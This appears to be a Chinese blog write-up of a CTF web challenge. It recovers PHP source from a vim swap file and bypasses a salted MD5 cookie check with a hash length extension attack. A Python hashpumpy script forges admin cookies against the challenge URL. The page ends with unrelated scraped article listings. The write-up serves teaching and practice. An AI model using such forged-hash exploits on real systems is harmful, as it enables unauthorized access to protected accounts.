这里面就放一张百度百科的解释吧,emmm
反正我是看不懂还是做一下题来巩固一下吧
CTF中的hash长度攻击

进入网页你会发现页面显示


我这里没有看到什么可以利用的，抓了一下包也没有什么有可以利用的东西,扫一下目录看看，这里面我用的是一个专门扫描敏感文件的工具.有兴趣的同学可以去看一下.
工具在这里
使用方法：python3 1.py url 16 32
OK通过扫描我们发现一个index.php~的文件，下载下来其实就是一个linux意外退出的一个交换文件,emmmmm.

在linux中使用 vim -r 目标文件可以进行恢复
恢复后的源码：

  1. <html>
  2. <head>
  3. <title>Web 350</title>
  4. <style type="text/css">
  5.     body {
  6.         background:gray;
  7.         text-align:center;
  8.     }
  9. </style>
  10. </head>
  11. <body>
  12.     <?php
  13.         $auth = false;
  14.         $role = "guest";
  15.         $salt =
  16.         if (isset($_COOKIE["role"])) {
  17.             $role = unserialize($_COOKIE["role"]);
  18.             $hsh = $_COOKIE["hsh"];
  19.             if ($role==="admin" && $hsh === md5($salt.strrev($_COOKIE["role"]))) {
  20.                 $auth = true;
  21.             } else {
  22.                 $auth = false;
  23.             }
  24.         } else {
  25.             $s = serialize($role);
  26.             setcookie('role',$s);
  27.             $hsh = md5($salt.strrev($s));
  28.             setcookie('hsh',$hsh);
  29.         }
  30.         if ($auth) {
  31.             echo "<h3>Welcome Admin. Your flag is
  32.         } else {
  33.             echo "<h3>Only Admin can see the flag!!</h3>";
  34.         }
  35.     ?>
  37. </body>
  38. </html>
  1. 下面来对代码的逻辑进行一下分析。
  2. 首先要想获取flag就要保证role反序列化的值为admin(这个好弄就是在burp里面改一下就行了)，但是还要保证hsh===md5($salt.strrev($_COOKIE["role"])，hsh已经给我们了，你看看下面的代码逻辑，他是md5($salt.strrev($s))，而$s的值一开始就是guest,这里面就是将它给字符串给序列化后在反转一下整的。
  3. 首先我们先看一下我们的手中的条件，首先我们需要将role改为admin，这个是不用说的，其实我们还有让hsh这个hash值等于md5($salt.strrev($_COOKIE["role"])),，这个就要用到hash扩展攻击了。
  4. 下面讲一下hash和扩展攻击的利用方法，其一就是要知道salt的长度(这里面我们可以爆破一下)，然后还有知道一个salt后面的string的值以及md5之后的hash值。
  5. 这里面我们刚好知道hsh的初始值
  6. $s = serialize($role);//$role的初始值为guest
  7. setcookie('role',$s);
  8. $hsh = md5($salt.strrev($s));
  9. setcookie('hsh',$hsh);
  10. 既然我们得到了这个一个hash值，那么我们就可以添加任意的字符串，那么我们添加的字符串就是admin不就好了，这样不仅可以完成条件role='admin'，又因为hash长度扩展攻击，所以hsh==~~md5($salt.strrev($_COOKIE["role"]))，大概的原理就是你在原来的基础上(已经知道hash值)在添加的字符串进行的hash加密是可以计算出来的。(emmmmmm,菜鸡一个有可能说的很差，见谅，见谅).
  11. 这里面我们用python写出爆破脚本(因为salt的长度未知)

哈希长度扩展攻击的实现

  1. url="http://web.jarvisoj.com:32778/"
  2. string1=';"nimda":5:s'  #第一个我们需要添加的字符串
  3. string2=';"tseug":5:s'
  4. hash="3a4727d57463f122833d9e732f94e4e0"
  5. for test in range(1,25) :
  6.     hash_exp,message=hashpumpy.hashpump(hash,string2,string1,test)
  7.     #print(message)
  8.     payload={'role':urllib.parse.quote(message[::-1]),'hsh':hash_exp}
  9.     print(test,payload)
  10.     Mikasa=requests.get(url,cookies=payload).text
  11.     if "Welcome" in Mikasa :
  12.         print(Mikasa)
  13.     #payload={'role':}
  14.     ```
  16. 因为是倒叙进行的加密，所以我们也要倒叙的加密，当然也可以用hashpump这个工具来实现。
  17. 结语
  18. 感觉自己太差劲了，讲的也不算好，哎！还是太菜

hash长度扩展攻击的更多相关文章

  1. MD5的Hash长度扩展攻击

    Hash长度扩展攻击 引子 无意中碰到一道题,大概代码是这样的 $flag = "XXXXXXXXXXXXXXXXXXXXXXX"; $secret = "XXXXXXX ...

  2. 实验吧——让我进去（hash长度扩展攻击）

    题目地址:http://ctf5.shiyanbar.com/web/kzhan.php 在页面源码没发现什么,于是用burp进行抓包重放 看到有setcookie,于是重新刷新页面拦截数据包(这次才 ...

  3. 实验吧Web-中-让我进去（Hash长度扩展攻击、加盐密码及Linux下hashpump的安装使用）

    打开网页,测试开始,注入费老大劲,看了大佬的blog才知道怎么干. bp抓包,观察发现cookie中有个source=0,在repeater中修改为source=1,然go一下,出来了一段源代码. $ ...

  4. 浅谈HASH长度拓展攻击

    前言 最近在做CTF题的时候遇到这个考点,想起来自己之前在做实验吧的入门CTF题的时候遇到过这个点,当时觉得难如看天书一般,现在回头望去,仔细琢磨一番感觉也不是那么难,这里就写篇文章记录一下自己的学习 ...

  5. 哈希长度扩展攻击(Hash Length Extension Attack)利用工具hexpand安装使用方法

    去年我写了一篇哈希长度扩展攻击的简介以及HashPump安装使用方法,本来已经足够了,但HashPump还不是很完善的哈希长度扩展攻击,HashPump在使用的时候必须提供original_data, ...

  6. 哈希长度扩展攻击的简介以及HashPump安装使用方法

    哈希长度扩展攻击(hash length extension attacks)是指针对某些允许包含额外信息的加密散列函数的攻击手段.该攻击适用于在消息与密钥的长度已知的情形下,所有采取了 H(密钥 ∥ ...

  7. MD5加密及Hash长度拓展攻击【通俗易懂】

    先放一个简单点的利用了Hash长度拓展攻击的题目 if($COOKIE["getmein"] === md5($secret . urldecode($username . $pa ...

  8. [De1CTF 2019]SSRF Me-MD5长度扩展攻击&CVE-2019-9948

    0x00 打开题目查看源代码,开始审计 这里贴上网上师傅的博客笔记: https://xz.aliyun.com/t/6050 #! /usr/bin/env python #encoding=utf ...

  9. 实验吧_天下武功唯快不破&让我进去(哈希长度拓展攻击)

    天下武功唯快不破 第一反应就去抓包,看到返回包的header中有FLAG的值,base64解码后得到下图所示 这就要求我们在请求头中post相应key的值,我直接在burp中尝试了多次都没有用,想起来 ...

随机推荐

  1. 【LeetCode】22-生成括号

    22-生成括号 题目描述 给出 n 代表生成括号的对数,请你写出一个函数,使其能够生成所有可能的并且有效的括号组合. 例如,给出 n = 3,生成结果为: [ "((()))", ...

  2. JavaScript如何给td赋值

    td里加个标签,如: <td><div id="aa"></div></td> document.getElementById('a ...

  3. .NET Core 3.0 Preview 9 发布

    翻译自官方博客 今天,我们宣布推出.NET Core 3.0 Preview 9.就像预览版8一样,我们专注打磨最终版本的.NET Core 3.0,而不是添加新功能.如果这些最终版本看起来不像早期预 ...

  4. 记一次神奇的sql查询经历，group by慢查询优化

    一.问题背景 现网出现慢查询,在500万数量级的情况下,单表查询速度在30多秒,需要对sql进行优化,sql如下: 我在测试环境构造了500万条数据,模拟了这个慢查询. 简单来说,就是查询一定条件下, ...

  5. ogeek线下赛web分析1-python-web

    1.python from flask import Flask, request, render_template,send_from_directory, make_response from A ...

  6. linux常见报错

    零.目录 一. 文件和目录类 File exist 文件已经存在 No such file or directory 没有这个文件或目录(这个东西不存在) command not found 命令找不 ...

  7. Java中对象创建时的内存分配

    一.前言知识铺垫   1.逃逸对象:在一个方法内创建的对象没有被外界引用则称该对象为未逃逸的对象. 2.JDK1.6以后的HotSpot虚拟机支持运行时的对象逃逸分析. 3.JVM中的参数配置: 1) ...

  8. [Leetcode] 第338题 比特位计数

    一.题目描述 给定一个非负整数 num.对于 0 ≤ i ≤ num 范围中的每个数字 i ,计算其二进制数中的 1 的数目并将它们作为数组返回. 示例 1: 输入: 2 输出: [0,1,1] 示例 ...

  9. C# 反射基础用法

    1.引用命名空间 using System.Reflection; 2.object[] parameters = { 参数 }; 调用方法的参数数组 3.Type t = Type.GetType( ...

  10. nginx如何配置负载均衡

    自己学习用 面试回答如下: 在nginx里面配置一个upstream,然后把相关的服务器ip都配置进去.然后采用轮询的方案,然后在nginx里面的配置项里,proxy-pass指向这个upstream ...